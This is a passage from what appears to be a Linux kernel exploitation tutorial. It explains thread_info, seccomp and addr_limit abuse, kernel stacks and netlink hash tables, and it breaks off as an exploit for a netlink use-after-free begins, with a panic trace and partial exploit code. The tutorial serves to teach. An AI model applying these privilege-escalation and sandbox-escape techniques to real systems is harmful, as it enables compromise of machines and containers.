Just like the _struct task\_struct_ , the **struct thread\_info** structure is
very important that one must understand in order to exploit bugs in the Linux
kernel.

This structure is architecture dependent. In the x86-64 case, the definition
is:

[code]

    // [arch/x86/include/asm/thread_info.h]
    
    struct thread_info {
        struct task_struct    *task;
        struct exec_domain    *exec_domain;
        __u32                 flags;
        __u32                 status;
        __u32                 cpu;
        int                   preempt_count;
        mm_segment_t          addr_limit;
        struct restart_block  restart_block;
        void __user           *sysenter_return;
    #ifdef CONFIG_X86_32
        unsigned long         previous_esp;
        __u8                  supervisor_stack[0];
    #endif
        int                   uaccess_err;
    };
    
[/code]

The most important fields being:

  * **task** : pointer to the _task\_struct_ linked to this _thread\_info_ \(cf. next section\)
  * **flags** : holds flags such as _\_TIF\_NEED\_RESCHED_ or _\_TIF\_SECCOMP_ \(cf. Escaping Seccomp-Based Sandbox\)
  * **addr\_limit** : the "highest" userland virtual address from kernel point-of-view. Used in "software protection mechanism" \(cf. Gaining Arbitrary Read/Write\)

Let's see how we can abuse each of those fields in an exploitation scenario.

### Using Kernel Thread Stack Pointer

In general, if you've got access to a _task\_struct_ pointer, you can retrieve
lots of other kernel structures by dereferencing pointers from it. For
instance, we will use it in our case to find the address of the _file
descriptor table_ during kernel reparation.

Since the _task_ field points to the associated _task\_struct_ , retrieving
_current_ \(remember Core Concept \#1?\) is a simple as:

[code]

    #define get_current() (current_thread_info()->task)
    
[/code]

The problem is: how to get the address of the current _thread\_info_?

Suppose that **you have a pointer in the kernel "thread stack"** , you can
retrieve the current _thread\_info_ pointer with:

[code]

    #define THREAD_SIZE (PAGE_SIZE << 2)
    #define current_thread_info(ptr) (_ptr & ~(THREAD_SIZE - 1))
    
    struct thread_info *ti = current_thread_info(leaky_stack_ptr);
    
[/code]

The reason why this works is because the _thread\_info_ lives inside the
kernel thread stack \(see the "Kernel Stacks" section\).

On the other hand, if you have a pointer to a _task\_struct_ , you can
retrieve the current _thread\_info_ with the **stack** field in
_task\_struct_.

That is, if you have one of those pointers, you can retrieve each other
structures:

<img src='img/Temp2_4921.png' width='361' height='131' />

Note that the _task\_struct's stack_ field doesn't point to the top of the
\(kernel thread\) stack but to the _thread\_info_\!

### Escaping Seccomp-Based Sandbox

Containers as well as sandboxed applications seem to be more and more
widespread nowadays. Using a kernel exploit is sometimes the only way \(or an
easiest one\) to actually escape them.

The Linux kernel's seccomp is a facility which allows programs to restrict
access to syscalls. The syscall can be either fully forbidden \(invoking it is
impossible\) or partially forbidden \(parameters are filtered\). It is setup
using BPF rules \(a "program" compiled in the kernel\) called **seccomp
filters**.

Once enabled, seccomp filters cannot be disabled by "normal" means. The API
enforces it as there is no syscall for it.

When a program using seccomp makes a system call, the kernel checks if the
_thread\_info_ 's flags has one of the _\_TIF\_WORK\_SYSCALL\_ENTRY_ flags set
\(_TIF\_SECCOMP_ is one of them\). If so, it follows the
**syscall\_trace\_enter\(\)** path. At the very beginning, the function
**secure\_computing\(\)** is called:

[code]

    long syscall_trace_enter(struct pt_regs *regs)
    {
        long ret = 0;
    
        if (test_thread_flag(TIF_SINGLESTEP))
            regs->flags |= X86_EFLAGS_TF;
    
        /* do the secure computing check first */
        secure_computing(regs->orig_ax);            // <----- "rax" holds the syscall number
    
      // ...
    }
    
    static inline void secure_computing(int this_syscall)
    {
        if (unlikely(test_thread_flag(TIF_SECCOMP)))      // <----- check the flag again
            __secure_computing(this_syscall);
    }
    
[/code]

We will not explain what is going on with seccomp past this point. Long story
short, if the syscall is forbidden, a SIGKILL signal will be delivered to the
faulty process.

The important thing is: **clearing the _TIF\_SECCOMP_ flag** of the current
running thread \(i.e. _thread\_info_\) is "enough" to disable seccomp checks.

**WARNING** : This is only true for the "current" thread, forking/execve'ing
from here will "re-enable" seccomp \(see _task\_struct_\).

### Gaining Arbitrary Read/Write

Now let's check the **addr\_limit** field of _thread\_info_.

If you look at various system call implementations, you will see that most of
them call **copy\_from\_user\(\)** at the very beginning to make a copy from
userland data into kernel-land. Failing to do so can lead to _time-of-check
time-of-use \(TOCTOU\)_ bugs \(e.g. change userland value after it has been
checked\).

In the very same way, system call code must call **copy\_to\_user\(\)** to
copy a result from kernelland into userland data.

[code]

    long copy_from_user(void *to,   const void __user * from, unsigned long n);
    long copy_to_user(void __user *to, const void *from, unsigned long n);
    
[/code]

**NOTE** : The _\_\_user_ macro does nothing, this is just a hint for kernel
developers that this data is a pointer to userland memory. In addition, some
tools like sparse can benefit from it.

Both _copy\_from\_user\(\)_ and _copy\_to\_user\(\)_ are architecture
dependent functions. On x86-64 architecture, they are implemented in
_arch/x86/lib/copy\_user\_64.S_.

**NOTE** : If you don't like reading assembly code, there is a **generic**
architecture that can be found in _include/asm-generic/\*_. It can help you to
figure out what an architecture-dependent function is "supposed to do".

The _generic_ \(i.e. not x86-64\) code for _copy\_from\_user\(\)_ looks like
this:

[code]

    // from [include/asm-generic/uaccess.h]
    
    static inline long copy_from_user(void *to,
            const void __user * from, unsigned long n)
    {
        might_sleep();
        if (access_ok(VERIFY_READ, from, n))
            return __copy_from_user(to, from, n);
        else
            return n;
    }
    
[/code]

The "software" access rights checks are performed in _access\_ok\(\)_ while
_\_\_copy\_from\_user\(\)_ unconditionally copy _n_ bytes from _from_ to _to_.
In other words, if you see a _\_\_copy\_from\_user\(\)_ where parameters
havn't been checked, there is a serious security vulnerability. Let's get back
to the x86-64 architecture.

Prior to executing the actual copy, the parameter marked with **\_\_user** is
checked against the _addr\_limit_ value of the current _thread\_info_. If the
range \(from+n\) is below _addr\_limit_ , the copy is performed, otherwise
_copy\_from\_user\(\)_ returns a non-null value indicating an error.

The _addr\_limit_ value is set and retrieved using the **set\_fs\(\)** and
**get\_fs\(\)** macros respectively:

[code]

    #define get_fs()    (current_thread_info()->addr_limit)
    #define set_fs(x)   (current_thread_info()->addr_limit = (x))
    
[/code]

For instance, when you do an **execve\(\)** syscall, the kernel tries to find
a proper "binary loader". Assuming the binary is an ELF, the
_load\_elf\_binary\(\)_ function is invoked and it ends by calling the
**start\_thread\(\)** function:

[code]

          // from [arch/x86/kernel/process_64.c]
    
          void start_thread(struct pt_regs *regs, unsigned long new_ip, unsigned long new_sp)
          {
            loadsegment(fs, 0);
            loadsegment(es, 0);
            loadsegment(ds, 0);
            load_gs_index(0);
            regs->ip        = new_ip;
            regs->sp        = new_sp;
            percpu_write(old_rsp, new_sp);
            regs->cs        = __USER_CS;
            regs->ss        = __USER_DS;
            regs->flags     = 0x200;
            set_fs(USER_DS);                        // <-----
            /*
             * Free the old FP and other extended state
             */
            free_thread_xstate(current);
          }
    
[/code]

The _start\_thread\(\)_ function resets the current _thread\_info's
addr\_limit_ value to **USER\_DS** which is defined here:

[code]

    #define MAKE_MM_SEG(s)  ((mm_segment_t) { (s) })
    #define TASK_SIZE_MAX   ((1UL << 47) - PAGE_SIZE)
    #define USER_DS     MAKE_MM_SEG(TASK_SIZE_MAX)
    
[/code]

That is, a userland address is valid if it is below **0x7ffffffff000** \(used
to be 0xc0000000 on 32-bits\).

As you might already guessed, **overwriting the _addr\_limit_ value leads to
arbitrary read/write primitive**. Ideally, we want something that does:

[code]

    #define KERNEL_DS   MAKE_MM_SEG(-1UL)   // <----- 0xffffffffffffffff
    set_fs(KERNEL_DS);
    
[/code]

If we achieve to do this, we **disable a software protection mechanism**.
Again, this is "software" only\! The hardware protections are still on,
accessing kernel memory directly from userland will provoke a page fault that
will kill your exploit \(SIGSEGV\) because the running level is still CPL=3
\(see the "page fault" section\).

Since, we want read/write kernel memory from userland, we can actually ask the
kernel to do it for us through a syscall that calls
_copy\_\{to|from\}\_user\(\)_ function while **providing a kernel pointer in
"\_\_user" marked parameter**.

### Final note about _thread\_info_

As you might notice by the three examples shown here, the _thread\_info_
structure is of utter importance in general as well as for exploitation
scenarios. We showed that:

  1. While leaking a kernel thread stack pointer, we can retrieve a pointer to the current _task\_struct_ \(hence lots of kernel data structures\)
  2. By overwriting the _flags_ field we can disable seccomp protection and eventually escape some sandboxes
  3. We can gain an arbitrary read/write primitive by changing the value of the _addr\_limit_ field

Those are just a sample of things you can do with _thread\_info_. This is a
small but critical structure.

## Virtual Memory Map

In the previous section, we saw that the "highest" valid userland address was:

[code]

    #define TASK_SIZE_MAX   ((1UL << 47) - PAGE_SIZE) // == 0x00007ffffffff000
    
[/code]

One might wonder where does this "47" comes from?

In the early AMD64 architecture, designers thought that addressing 2^64 memory
is somehow "too big" and force to add another level of page table
\(performance hit\). For this reason, it has been decided that only the lowest
48-bits of an address should be used to translate a virtual address into a
physical address.

However, if the userland address space ranges from 0x0000000000000000 to
0x00007ffffffff000 what will the kernel address space ? The answer is:
0xffff800000000000 to 0xffffffffffffffff.

That is, the bits \[48:63\] are:

  * all cleared for user addresses
  * all set for kernel addresses

More specifically, AMD imposed that those \[48:63\] are the same as the 47
bit. Otherwise, an exception is thrown. Addresses respecting this convention
are called **canonical form addresses**. With such model, it is still possible
to address 256TB of memory \(half for user, half for kernel\).

The space between 0x00007ffffffff000 and 0xffff800000000000 are **unused
memory addresses** \(also called "non-canonical addresses"\). That is, the
virtual memory layout for a 64-bit process is:

<img src='img/Temp2_4905.png' width='412' height='500' />

The above diagram is the "big picture". You can get a more precise virtual
memory map in the Linux kernel documentation:
_Documentation/x86/x86\_64/mm.txt_.

**NOTE** : The "guard hole" address range is needed by some hypervisor \(e.g.
Xen\).

In the end, when you see an address starting with "0xffff8\*" or higher, you
can be sure that it is a kernel one.

## Kernel Thread Stacks

In Linux \(x86-64 architecture\), there are two kinds of kernel stacks:

  * **thread stacks** : 16k-bytes stacks for every active thread
  * **specialized stacks** : a set of _per-cpu_ stacks used in special operations

You may want to read the Linux kernel documentation for
additional/complementary information: _Documentation/x86/x86\_64/kernel-
stacks_.

First, let's describe the _thread stacks_. When a new thread is created \(i.e.
a new _task\_struct_\), the kernel does a "fork-like" operation by calling
**copy\_process\(\)**. The later allocates a new _task\_struct_ \(remember,
there is one _task\_struct_ per thread\) and copies most of the parent's
_task\_struct_ into the new one.

However, depending on how the task is created, some resources can be either
shared \(e.g. memory is shared in a multithreaded application\) or "copied"
\(e.g. the libc's data\). In the later case, if the thread modified some data
a new separated version is created: this is called **copy-on-write** \(i.e. it
impacts only the current thread and not every thread importing the libc\).

In other words, a process is never created "from scratch" but starts by being
a copy of its parent process \(be it _init_\). The "differences" are fixed
later on.

Furthermore, there is some thread specific data, one of them being the kernel
thread stack. During the creation/duplication process, _dup\_task\_struct\(\)_
is called very early:

[code]

          static struct task_struct *dup_task_struct(struct task_struct *orig)
          {
            struct task_struct *tsk;
            struct thread_info *ti;
            unsigned long *stackend;
            int node = tsk_fork_get_node(orig);
            int err;
    
            prepare_to_copy(orig);
    
    [0]     tsk = alloc_task_struct_node(node);
            if (!tsk)
              return NULL;
    
    [1]     ti = alloc_thread_info_node(tsk, node);
            if (!ti) {
              free_task_struct(tsk);
              return NULL;
            }
    
    [2]     err = arch_dup_task_struct(tsk, orig);
            if (err)
              goto out;
    
    [3]     tsk->stack = ti;
    
            // ... cut ...
    
    [4]     setup_thread_stack(tsk, orig);
    
            // ... cut ...
          }
    
          #define THREAD_ORDER  2
    
          #define alloc_thread_info_node(tsk, node)             \
          ({                                    \
            struct page *page = alloc_pages_node(node, THREAD_FLAGS,    \
                         THREAD_ORDER);     \
            struct thread_info *ret = page ? page_address(page) : NULL; \
                            \
            ret;                                \
          })
    
[/code]

The previous code does the following:

  * **\[0\]** : allocates a new _struct task\_struct_ using the Slab allocator
  * **\[1\]** : **allocates a new thread stack** using the Buddy allocator
  * **\[2\]** : copies the _orig_ task\_struct content to the new _tsk_ _task\_struct_ \(differences will be fixed later on\)
  * **\[3\]** : changes the _task\_struct_ 's _stack_ pointer to **ti**. The new thread has now its dedicated thread stack **and its own _thread\_info_**
  * **\[4\]** : copies the content of _orig_ 's _thread\_info_ to the new _tsk_ 's _thread\_info_ and fixes the _task_ field.

One might be confused with \[1\]. The macro _alloc\_thread\_info\_node\(\)_ is
supposed to allocate a _struct thread\_info_ and yet, it allocates a thread
stack. The reason being **_thread\_info_ structures lives in thread stacks**:

[code]

    #define THREAD_SIZE  (PAGE_SIZE << THREAD_ORDER)
    
    union thread_union {                                // <----- this is an "union"
        struct thread_info thread_info;
        unsigned long stack[THREAD_SIZE/sizeof(long)];  // <----- 16k-bytes
    };
    
[/code]

Except for the _init_ process, _thread\_union_ is not used anymore \(on
x86-64\) but the layout is still the same:

<img src='img/Temp2_4912.png' width='507' height='418' />

**NOTE** : The _KERNEL\_STACK\_OFFSET_ exists for "optimization reasons"
\(avoid a sub operation in some cases\). You can ignore it for now.

The _STACK\_END\_MAGIC_ is here to mitigate kernel thread stack overflow
exploitation. As explained earlier, overwriting _thread\_info_ data can lead
to nasty things \(it also holds function pointers in the _restart\_block_
field\).

Since _thread\_info_ is at the top of this region, you hopefully understand
now why, by masking out _THREAD\_SIZE_ , you can retrieve the _thread\_info_
address from any _kernel thread stack_ pointer.

In the previous diagram, one might notice the **kernel\_stack** pointer. This
is a "per-cpu" variable \(i.e. one for each cpu\) declared here:

[code]

    // [arch/x86/kernel/cpu/common.c]
    
    DEFINE_PER_CPU(unsigned long, kernel_stack) =
        (unsigned long)&init_thread_union - KERNEL_STACK_OFFSET + THREAD_SIZE;
    
[/code]

Initially, _kernel\_stack_ points to the _init_ thread stack \(i.e.
_init\_thread\_union_\). However, during a Context Switch, this \(per-cpu\)
variable is updated:

[code]

    #define task_stack_page(task)   ((task)->stack)
    
    __switch_to(struct task_struct *prev_p, struct task_struct *next_p)
    {
      // ... cut ..
    
        percpu_write(kernel_stack,
              (unsigned long)task_stack_page(next_p) +
              THREAD_SIZE - KERNEL_STACK_OFFSET);
    
      // ... cut ..
    }
    
[/code]

In the end, the _current thread\_info_ is retrieved with:

[code]

    static inline struct thread_info *current_thread_info(void)
    {
        struct thread_info *ti;
        ti = (void *)(percpu_read_stable(kernel_stack) +
                  KERNEL_STACK_OFFSET - THREAD_SIZE);
        return ti;
    }
    
[/code]

**The _kernel\_stack_ pointer is used while entering a system call. It
replaces the current \(userland\) _rsp_ which is restored while exiting system
call.**

## Understanding Netlink Data Structures

Let's have a closer look to netlink data structures. This will help us
understand where and what are the dangling pointers we are trying to repair.

Netlink has a "global" array **nl\_table** of type _netlink\_table_ :

[code]

    // [net/netlink/af_netlink.c]
    
    struct netlink_table {
        struct nl_pid_hash hash;        // <----- we will focus on this
        struct hlist_head mc_list;
        unsigned long *listeners;
        unsigned int nl_nonroot;
        unsigned int groups;
        struct mutex *cb_mutex;
        struct module *module;
        int registered;
    };
    
    static struct netlink_table *nl_table;  // <----- the "global" array
    
[/code]

The _nl\_table_ array is initialized at _boot-time_ with
_netlink\_proto\_init\(\)_ :

[code]

    // [include/linux/netlink.h]
    
    #define NETLINK_ROUTE       0   /* Routing/device hook              */
    #define NETLINK_UNUSED      1   /* Unused number                */
    #define NETLINK_USERSOCK    2   /* Reserved for user mode socket protocols  */
    // ... cut ...
    #define MAX_LINKS 32        
    
    // [net/netlink/af_netlink.c]
    
    static int __init netlink_proto_init(void)
    {
      // ... cut ...
    
        nl_table = kcalloc(MAX_LINKS, sizeof(*nl_table), GFP_KERNEL);
    
      // ... cut ...
    }
    
[/code]

In other words, there is **one _netlink\_table_ per protocol**
\(_NETLINK\_USERSOCK_ being one of them\). Furthermore, each of those netlink
tables embedded a **hash** field of type _struct nl\_pid\_hash_ :

[code]

    // [net/netlink/af_netlink.c]
    
    struct nl_pid_hash {
        struct hlist_head *table;
        unsigned long rehash_time;
    
        unsigned int mask;
        unsigned int shift;
    
        unsigned int entries;
        unsigned int max_shift;
    
        u32 rnd;
    };
    
[/code]

This structure is used to manipulate a **netlink hash table**. To that means
the following fields are used:

  * _table_ : an array of _struct hlist\_head_ , the actual **hash table**
  *  _reshash\_time_ : used to reduce the number of "dilution" over time
  *  _mask_ : number of buckets \(minus 1\), hence mask the result of the hash function
  *  _shift_ : a number of bits \(i.e. order\) used to compute an "average" number of elements \(i.e. the **load factor**\). Incidentally, represents the number of time the table has grown.
  * _entries_ : total numbers of element in the hash table
  *  _max\_shift_ : a number of bits \(i.e. order\). The maximum amount of time the table can grow, hence the maximum number of buckets
  *  _rnd_ : a random number used by the hash function

Before going back to the netlink hash table implementation, let's have an
overview of the hash table API in Linux.

## Linux Hash Table API

The hash table itself is manipulated with other typical Linux data structures:
**struct hlist\_head** and **struct hlist\_node**. Unlike _struct list\_head_
\(cf. "Core Concept \#3"\) which just uses the same type to represent either
the list head and the elements, the hash list uses two types defined here:

[code]

    // [include/linux/list.h]
    
    /*
     * Double linked lists with a single pointer list head.
     * Mostly useful for hash tables where the two pointer list head is
     * too wasteful.
     * You lose the ability to access the tail in O(1).       // <----- this
     */
    
    struct hlist_head {
        struct hlist_node *first;
    };
    
    struct hlist_node {
        struct hlist_node *next, **pprev; // <----- note the "pprev" type (pointer of pointer)
    };
    
[/code]

So, the hash table is composed of one or multiple buckets. Each element in a
given bucket is in a **non-circular** doubly linked list. It means:

  * the last element in a bucket's list points to _NULL_
  * the first element's _pprev_ pointer in the bucket list points to the _hlist\_head's first_ pointer \(hence the pointer of pointer\).

The bucket itself is represented with a _hlist\_head_ which has a **single
pointer**. In other words, **we can't access the tail from a bucket's head**.
We need to walk the whole list \(cf. the commentary\).

In the end, a typical hash table looks like this:

<img src='img/Temp2_4910.png' width='821' height='289' />

You may want to check this FAQ \(from kernelnewbies.org\) for a usage example
\(just like we did with _list\_head_ in "Core Concept \#3"\).

## Netlink Hash Tables Initialization

Let's get back to the netlink's hash tables initialization code which can be
split in two parts.

First, an **order** value is computed based on the **totalram\_pages** global
variable. The later is computed during boot-time and, as the name suggested,
\(roughly\) represents the number of page frames available in RAM. For
instance, on a 512MB system, the _max\_shift_ will be something like 16 \(i.e.
65k buckets per hash table\).

Secondly, **a distinct hash table is created for every netlink protocol** :

[code]

          static int __init netlink_proto_init(void)
          {
            // ... cut ...
    
            for (i = 0; i < MAX_LINKS; i++) {
              struct nl_pid_hash *hash = &nl_table[i].hash;
    
    [0]       hash->table = nl_pid_hash_zalloc(1 * sizeof(*hash->table));
              if (!hash->table) {
                // ... cut (free everything and panic!) ...
              }
              hash->max_shift = order;
              hash->shift = 0;
    [1]       hash->mask = 0;
              hash->rehash_time = jiffies;
            }
    
            // ... cut ...
          }
    
[/code]

In \[0\], the hash table is allocated with **a single bucket**. Hence the
_mask_ is set to zero in \[1\] \(number of buckets minus one\). Remember, the
field _hash- >table_ is an array of _struct hlist\_head_ , each pointing to a
bucket list head.

## Basic Netlink Hash Table Insertion

Alright, now we know the initial state of netlink hash tables \(only one
bucket\), let's study the insertion algorithm which starts in
**netlink\_insert\(\)**. In this section, we will only consider the "basic"
case \(i.e. discard the "dilute" mechanism\).

The purpose of _netlink\_insert\(\)_ is to insert a _sock's hlist\_node_ into
a hash table using the provided _pid_ in argument. **A _pid_ can only appear
once per hash table**.

First, let's study the beginning of the _netlink\_insert\(\)_ code:

[code]

          static int netlink_insert(struct sock *sk, struct net *net, u32 pid)
          {
    [0]     struct nl_pid_hash *hash = &nl_table[sk->sk_protocol].hash;
            struct hlist_head *head;
            int err = -EADDRINUSE;
            struct sock *osk;
            struct hlist_node *node;
            int len;
    
    [1a]    netlink_table_grab();
    [2]     head = nl_pid_hashfn(hash, pid);
            len = 0;
    [3]     sk_for_each(osk, node, head) {
    [4]       if (net_eq(sock_net(osk), net) && (nlk_sk(osk)->pid == pid))
                break;
              len++;
            }
    [5]     if (node)
              goto err;
    
            // ... cut ...
    
          err:
    [1b]    netlink_table_ungrab();
            return err;
          }
    
[/code]

The previous code does:

  * **\[0\]** : retrieve the _nl\_pid\_hash_ \(i.e hash table\) for the given protocol \(e.g. _NETLINK\_USERSOCK_\)
  * **\[1a\]** : protect access to all netlink hash tables with a lock
  * **\[2\]** : retrieve a pointer to a bucket \(i.e. a _hlist\_head_\) using the \_pid argument as a key of the hash function
  * **\[3\]** : walk the bucket's doubly linked-list and...
  * **\[4\]** : ... check for collision on the _pid_
  * **\[5\]** : if the _pid_ was found in the bucket's list \(_node_ is not NULL\), jump to _err_. It will return a _-EADDRINUSE_ error.
  * **\[1b\]** : release the netlink hash tables lock

Except \[2\], this is pretty straightforward: find the proper bucket and scan
it to check if the _pid_ does not already exist.

Next comes a bunch of sanity checks:

[code]

            err = -EBUSY;
    [6]     if (nlk_sk(sk)->pid)
              goto err;
    
            err = -ENOMEM;
    [7]     if (BITS_PER_LONG > 32 && unlikely(hash->entries >= UINT_MAX))
              goto err;
    
[/code]

In \[6\], the _netlink\_insert\(\)_ code makes sure that the _sock_ being
inserted in the hash table does not already have a _pid_ set. In other words,
it checks that it hasn't already been inserted into the hash table. The check
at \[7\] is simply a _hard limit_. A Netlink hash table can't have more than 4
Giga elements \(that's still a lot\!\).

Finally:

[code]

    [8]     if (len && nl_pid_hash_dilute(hash, len))
    [9]       head = nl_pid_hashfn(hash, pid);
    [10]    hash->entries++;
    [11]    nlk_sk(sk)->pid = pid;
    [12]    sk_add_node(sk, head);
    [13]    err = 0;
    
[/code]

Which does:

  * **\[8\]** : if the current bucket has _at least_ one element, calls _nl\_pid\_hash\_dilute\(\)_ \(cf. next section\)
  * **\[9\]** : if the hash table has been _diluted_ , find the new bucket pointer \(_hlist\_head_\)
  * **\[10\]** : increase the total number of elements in the hash table
  * **\[11\]** : set the sock's _pid_ field
  * **\[12\]** : **add the sock's _hlist\_node_ into the doubly-linked bucket's list**
  * **\[13\]** : reset _err_ since _netlink\_insert\(\)_ succeeds

Before going further, let's see a couple of things. If we unroll
_sk\_add\_node\(\)_ , we can see that:

  * it takes a reference on the _sock_ \(i.e. increase the refcounter\)
  * it calls _hlist\_add\_head\( &sk->sk\_node, list\)_

In other words, when a _sock_ is inserted into a hash table, **it is always
inserted at the head of a bucket**. We will use this property later on, keep
this in mind.

Finally, let's look at the hash function:

[code]

    static struct hlist_head *nl_pid_hashfn(struct nl_pid_hash *hash, u32 pid)
    {
        return &hash->table[jhash_1word(pid, hash->rnd) & hash->mask];
    }
    
[/code]

As expected, this function is just about computing the bucket index of the
_hash- >table_ array which is wrapped using the _mask_ field of the hash table
and return the _hlist\_head_ pointer representing the bucket.

The hash function itself being **jhash\_1word\(\)** which is the Linux
implementation of the Jenkins hash function. It is not required to understand
the implementation but note that it uses two "keys" \(_pid_ and _hash- >rnd_\)
and assume this is not "reversible".

One might have noticed that **without the "dilute" mechanism, the hash table
actually never extends**. Since it is initialized with one bucket, elements
are simply stored in a single doubly-linked list... pretty useless utilization
of hash tables\!

## The Netlink Hash Table "Dilution" Mechanism

As stated above, by the end of _netlink\_insert\(\)_ the code calls
**nl\_pid\_hash\_dilute\(\)** if _len_ is not zero \(i.e. the bucket is not
empty\). If the "dilution" succeeds, it searches a new bucket to add the sock
element \(the hash table has been "rehashed"\):

[code]

        if (len && nl_pid_hash_dilute(hash, len))
            head = nl_pid_hashfn(hash, pid);
    
[/code]

Let's check the implementation:

[code]

          static inline int nl_pid_hash_dilute(struct nl_pid_hash *hash, int len)
          {
    [0]     int avg = hash->entries >> hash->shift;
    
    [1]     if (unlikely(avg > 1) && nl_pid_hash_rehash(hash, 1))
              return 1;
    
    [2]     if (unlikely(len > avg) && time_after(jiffies, hash->rehash_time)) {
              nl_pid_hash_rehash(hash, 0);
              return 1;
            }
    
    [3]     return 0;
          }
    
[/code]

Fundamentally, what this function is trying to do is:

  1. it makes sure there are "enough" buckets in the hash table to minimize collision, otherwise try to grow the hash table
  2. it keeps all buckets balanced

As we will see in the next section, when the hash table "grows", the number of
buckets is multiplied by two. Because of this, the expression at \[0\], is
equivalent to:

[code]

    avg = nb_elements / (2^(shift))     <===>     avg = nb_elements / nb_buckets
    
[/code]

**It computes the _load factor_ of the hash table.**

The check at \[1\] is true when the average number of elements per bucket is
greater or equal to 2. In other words, **the hash table has "on average" two
elements per bucket**. If a third element is about to be added, the hash table
is expanded and then diluted through "rehashing".

The check at \[2\] is kinda similar to \[1\], the difference being that the
hash table isn't expanded. Since _len_ is greater than _avg_ which is greater
than 1, when trying to add a third element into a bucket, the whole hash table
is again diluted and "rehashed". On the other hand, if the table is mostly
empty \(i.e. _avg_ equals zero\), then trying to add into a non-empty bucket
\(len > 0\) provokes a "dilution". Since this operation is costly \(_O\(N\)_\)
and can happen at every insertion under certain circumstance \(e.g. can't grow
anymore\), its occurrence is limited with _rehash\_time_.

**NOTE** : _jiffies_ is a measure of time, see Kernel Timer Systems.

In the end, the way netlink stores elements in its hash tables is a **1:2
mapping on average**. The only exception is when the hash table can't grow
anymore. In that case, it slowly becomes a 1:3, 1:4 mapping, etc. Reaching
this point means that there are more than 128k netlink sockets or so. From the
exploiter point of view, chances are that you will be limited by the number of
opened file descriptors before reaching this point.

## Netlink "Rehashing"

In order to finish our understanding of the netlink hash table insertion,
let's quickly review _nl\_pid\_hash\_rehash\(\)_ :

[code]

    static int nl_pid_hash_rehash(struct nl_pid_hash *hash, int grow)
    {
        unsigned int omask, mask, shift;
        size_t osize, size;
        struct hlist_head *otable, *table;
        int i;
    
        omask = mask = hash->mask;
        osize = size = (mask + 1) * sizeof(*table);
        shift = hash->shift;
    
        if (grow) {
            if (++shift > hash->max_shift)
                return 0;
            mask = mask * 2 + 1;
            size *= 2;
        }
    
        table = nl_pid_hash_zalloc(size);
        if (!table)
            return 0;
    
        otable = hash->table;
        hash->table = table;
        hash->mask = mask;
        hash->shift = shift;
        get_random_bytes(&hash->rnd, sizeof(hash->rnd));
    
        for (i = 0; i <= omask; i++) {
            struct sock *sk;
            struct hlist_node *node, *tmp;
    
            sk_for_each_safe(sk, node, tmp, &otable[i])
                __sk_add_node(sk, nl_pid_hashfn(hash, nlk_sk(sk)->pid));
        }
    
        nl_pid_hash_free(otable, osize);
        hash->rehash_time = jiffies + 10 * 60 * HZ;
        return 1;
    }
    
[/code]

This function:

  1. is based on the _grow_ parameter and computes a new _size_ and _mask_. The number of buckets is multiplied by two at each growing operation
  2. allocates a new array of _hlist\_head_ \(i.e. new buckets\)
  3. updates the _rnd_ value of the hash table. It means that **the whole hash table is broken now** because the hash function won't allow to retrieve the previous elements
  4. walks the previous buckets and **re-insert all elements** into the new buckets using the new hash function
  5. releases the previous bucket array and updates the _rehash\_time_.

Since the hash function has changed, that is why the "new bucket" is
recomputed after dilution prior to inserting the element \(in
_netlink\_insert\(\)_\).

## Netlink Hash Table Summary

Let's sum up what we know about netlink hash table insertion so far:

  * netlink has one hash table per protocol
  * each hash table starts with a single bucket
  * there is on average two elements per bucket
  * the table grows when there are \(roughly\) more than two elements per bucket
  * every time a hash table grows, its number of buckets is multiplied by two
  * when the hash table grows, its elements are "diluted"
  * while inserting an element into a bucket "more charged" than others, it provokes a dilution
  * elements are always inserted at the head of a bucket
  * when a dilution occurs, the hash function changed
  * the hash function uses a user-provided pid value and another unpredictable key
  * the hash function is supposed to be irreversible so we can't choose into which bucket an element will be inserted
  * any operation on ANY hash table is protected by a global lock \(_netlink\_table\_grab\(\)_ and _netlink\_table\_ungrab\(\)_\)

And some additional elements about removal \(check _netlink\_remove\(\)_\):

  * once grown, **a hash table is never shrinked**
  * a removal **never** provokes a dilution

ALRIGHT\! We are ready to move on and get back to our exploit\!

* * *
# Meeting Supervisor Mode Execution Prevention

In the previous article, we modified the PoC to exploit the _use-after-free_
through _type confusion_ \[**1**\]. With the reallocation we made the "fake"
netlink sock's wait queue pointing to an element in userland \[**2**\].

Then, the _setsockopt\(\)_ syscall \[**3a**\] iterates over our userland wait
queue element and calls the _func_ function pointer \[**3b**\] that is
_panic\(\)_ \[**3c**\] right now. This gave us a nice call trace to validate
that we successfully achieved an **arbitrary call**.

<img src='img/Temp2_4920.png' width='452' height='721' />

The call trace was something like:

[code]

    [  213.352742] Freeing alive netlink socket ffff88001bddb400
    [  218.355229] Kernel panic - not syncing: ^A
    [  218.355434] Pid: 2443, comm: exploit Not tainted 2.6.32
    [  218.355583] Call Trace:
    [  218.355689]  [<ffffffff8155372b>] ? panic+0xa7/0x179
    [  218.355927]  [<ffffffff810665b3>] ? __wake_up+0x53/0x70
    [  218.356045]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
    [  218.356156]  [<ffffffff810665a8>] ? __wake_up+0x48/0x70
    [  218.356310]  [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
    [  218.356460]  [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
    [  218.356622]  [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
    
[/code]

As we can see _panic\(\)_ is indeed called from the _curr- >func\(\)_ function
pointer in _\_\_wake\_up\_common\(\)_.

**NOTE** : the second call to _\_\_wake\_up\(\)_ does not occur. It appears
here because the arguments of _panic\(\)_ are a bit broken.

## Returning to userland code \(first try\)

Alright, now let's try to return into userland \(some call it _ret-to-user_\).

One might ask: why returning into userland code? Except if your kernel is
backdoored, it is unlikely that you will find **a single function** that
directly elevates your privileges, repair the kernel, etc. We want to execute
arbitrary code of our choice. Since we have an arbitrary call primitive, let's
write our payload in the exploit and jump to it.

Let's modify the exploit and build a _payload\(\)_ function that in turn will
call _panic\(\)_ \(for testing purpose\). Remember to change the _func_
function pointer value:

[code]

    static int payload(void);
    
    static int init_realloc_data(void)
    {
      // ... cut ...
    
      // initialise the userland wait queue element
      BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
      BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
      g_uland_wq_elt.flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
      g_uland_wq_elt.private = NULL; // unused
